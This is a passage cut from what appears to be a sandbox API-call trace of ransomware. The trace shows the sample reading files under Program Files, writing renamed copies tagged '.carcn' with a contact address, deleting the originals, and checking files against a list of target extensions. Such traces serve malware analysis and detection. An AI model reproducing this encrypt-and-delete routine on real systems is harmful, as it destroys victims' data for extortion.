(lpString=".bz2") returned 4 [0311.985] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString=".7z") returned 3 [0311.985] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0311.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0311.985] lstrlenW (lpString=".dbf") returned 4 [0311.985] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0311.985] lstrlenW (lpString=".1cd") returned 4 [0311.985] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0311.985] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0311.985] lstrlenW (lpString=".jpg") returned 4 [0311.985] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0311.986] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.986] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.987] GetLastError () returned 0x0 [0311.987] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0311.988] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0311.989] ReadFile (in: hFile=0x370, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.989] WriteFile (in: hFile=0x388, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xea, lpOverlapped=0x0) returned 1 [0311.989] SetEndOfFile (hFile=0x388) returned 1 [0311.989] CloseHandle (hObject=0x388) returned 1 [0311.989] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.989] SetEndOfFile (hFile=0x370) returned 1 [0312.409] CloseHandle (hObject=0x370) returned 1 [0312.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.409] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0312.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0312.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0312.410] lstrlenW (lpString=".doc") returned 4 [0312.411] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString=".docx") returned 5 [0312.411] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0312.411] lstrlenW (lpString=".pdf") returned 4 [0312.411] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString=".xls") returned 4 [0312.411] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString=".xlsx") returned 5 [0312.411] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0312.411] lstrlenW (lpString=".ppt") returned 4 [0312.411] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0312.411] lstrlenW (lpString=".zip") returned 4 [0312.411] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString=".rar") returned 4 [0312.411] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString=".bz2") returned 4 [0312.411] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString=".7z") returned 3 [0312.411] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0312.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0312.411] lstrlenW (lpString=".dbf") returned 4 [0312.411] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0312.411] lstrlenW (lpString=".1cd") returned 4 [0312.411] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0312.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0312.411] lstrlenW (lpString=".jpg") returned 4 [0312.411] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0312.485] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.718] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\barriers.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\barriers.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0312.718] GetLastError () returned 0x0 [0312.718] ReadFile (in: hFile=0x318, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x12800, lpOverlapped=0x0) returned 1 [0312.721] WriteFile (in: hFile=0x398, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x12810, lpOverlapped=0x0) returned 1 [0312.722] ReadFile (in: hFile=0x318, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.722] WriteFile (in: hFile=0x398, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.723] SetEndOfFile (hFile=0x398) returned 1 [0312.723] CloseHandle (hObject=0x398) returned 1 [0312.723] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.723] SetEndOfFile (hFile=0x318) returned 1 [0312.724] CloseHandle (hObject=0x318) returned 1 [0312.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\barriers.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\barriers.exe" (normalized: "c:\\program files\\microsoft office\\barriers.exe")) returned 1 [0312.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0312.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0312.725] lstrlenW (lpString=".doc") returned 4 [0312.725] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0312.725] lstrlenW (lpString=".docx") returned 5 [0312.725] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0312.725] lstrlenW (lpString=".pdf") returned 4 [0312.725] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0312.725] lstrlenW (lpString=".xls") returned 4 [0312.725] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0312.725] lstrlenW (lpString=".xlsx") returned 5 [0312.725] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0312.725] lstrlenW (lpString=".ppt") returned 4 [0312.725] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0312.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0312.725] lstrlenW (lpString=".zip") returned 4 [0312.725] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0312.725] lstrlenW (lpString=".rar") returned 4 [0312.725] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0312.725] lstrlenW (lpString=".bz2") returned 4 [0312.725] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0312.725] lstrlenW (lpString=".7z") returned 3 [0312.726] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0312.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0312.726] lstrlenW (lpString=".dbf") returned 4 [0312.726] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0312.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0312.726] lstrlenW (lpString=".1cd") returned 4 [0312.726] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0312.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0312.726] lstrlenW (lpString=".jpg") returned 4 [0312.726] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0312.727] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.727] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0312.728] GetLastError () returned 0x0 [0312.728] ReadFile (hFile=0x318, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0) Thread: id = 104 os_tid = 0xfa4 [0291.299] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3cc1508 [0291.300] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3cd1510 [0291.300] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x797128 [0291.300] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x796008 [0291.300] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796ee8 [0291.300] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x4179020 [0291.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x797140 [0291.303] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x797140, Size=0x20) returned 0x75a1c0 [0291.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796f78 [0291.303] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796f78, Size=0x20) returned 0x75a350 [0291.303] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.304] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.304] Wow64DisableWow64FsRedirection (in: OldValue=0x377ff50 | out: OldValue=0x377ff50*=0x0) returned 1 [0291.304] lstrlenW (lpString="kernel32.dll") returned 12 [0291.304] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.304] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.304] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.304] Sleep (dwMilliseconds=0x64) [0291.656] Sleep (dwMilliseconds=0x64) [0291.856] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.857] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0291.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0291.857] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=21184) returned 1 [0291.857] CloseHandle (hObject=0x358) returned 1 [0291.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0291.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0291.858] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.858] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0291.860] GetLastError () returned 0x0 [0291.860] ReadFile (in: hFile=0x358, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0291.880] WriteFile (in: hFile=0x35c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0291.883] ReadFile (in: hFile=0x358, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.883] WriteFile (in: hFile=0x35c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x122, lpOverlapped=0x0) returned 1 [0291.883] SetEndOfFile (hFile=0x35c) returned 1 [0291.883] CloseHandle (hObject=0x35c) returned 1 [0291.884] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.884] SetEndOfFile (hFile=0x358) returned 1 [0291.885] CloseHandle (hObject=0x358) returned 1 [0291.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0291.885] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0291.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.886] lstrlenW (lpString=".doc") returned 4 [0291.886] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.886] lstrlenW (lpString=".docx") returned 5 [0291.886] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0291.886] lstrlenW (lpString=".pdf") returned 4 [0291.886] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.886] lstrlenW (lpString=".xls") returned 4 [0291.886] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.886] lstrlenW (lpString=".xlsx") returned 5 [0291.886] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0291.886] lstrlenW (lpString=".ppt") returned 4 [0291.886] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.887] lstrlenW (lpString=".zip") returned 4 [0291.887] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.887] lstrlenW (lpString=".rar") returned 4 [0291.887] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.887] lstrlenW (lpString=".bz2") returned 4 [0291.887] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.887] lstrlenW (lpString=".7z") returned 3 [0291.887] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.887] lstrlenW (lpString=".dbf") returned 4 [0291.887] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.887] lstrlenW (lpString=".1cd") returned 4 [0291.887] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.887] lstrlenW (lpString=".jpg") returned 4 [0291.887] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.887] lstrlenW (lpString=".doc") returned 4 [0291.887] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.888] lstrlenW (lpString=".docx") returned 5 [0291.888] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0291.888] lstrlenW (lpString=".pdf") returned 4 [0291.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.888] lstrlenW (lpString=".xls") returned 4 [0291.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.888] lstrlenW (lpString=".xlsx") returned 5 [0291.888] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0291.888] lstrlenW (lpString=".ppt") returned 4 [0291.888] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.888] lstrlenW (lpString=".zip") returned 4 [0291.888] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.888] lstrlenW (lpString=".rar") returned 4 [0291.888] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.888] lstrlenW (lpString=".bz2") returned 4 [0291.888] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.888] lstrlenW (lpString=".7z") returned 3 [0291.888] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.888] lstrlenW (lpString=".dbf") returned 4 [0291.888] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.888] lstrlenW (lpString=".1cd") returned 4 [0291.888] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0291.888] lstrlenW (lpString=".jpg") returned 4 [0291.889] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.889] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.889] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0291.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0291.889] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19136) returned 1 [0291.889] CloseHandle (hObject=0x358) returned 1 [0291.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0291.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0291.890] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.890] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0291.891] GetLastError () returned 0x0 [0291.891] ReadFile (in: hFile=0x358, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0291.894] WriteFile (in: hFile=0x35c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0291.895] ReadFile (in: hFile=0x358, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.895] WriteFile (in: hFile=0x35c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x126, lpOverlapped=0x0) returned 1 [0291.895] SetEndOfFile (hFile=0x35c) returned 1 [0291.895] CloseHandle (hObject=0x35c) returned 1 [0291.895] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.895] SetEndOfFile (hFile=0x358) returned 1 [0291.896] CloseHandle (hObject=0x358) returned 1 [0291.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0291.897] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0291.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.897] lstrlenW (lpString=".doc") returned 4 [0291.897] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.897] lstrlenW (lpString=".docx") returned 5 [0291.897] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0291.897] lstrlenW (lpString=".pdf") returned 4 [0291.897] 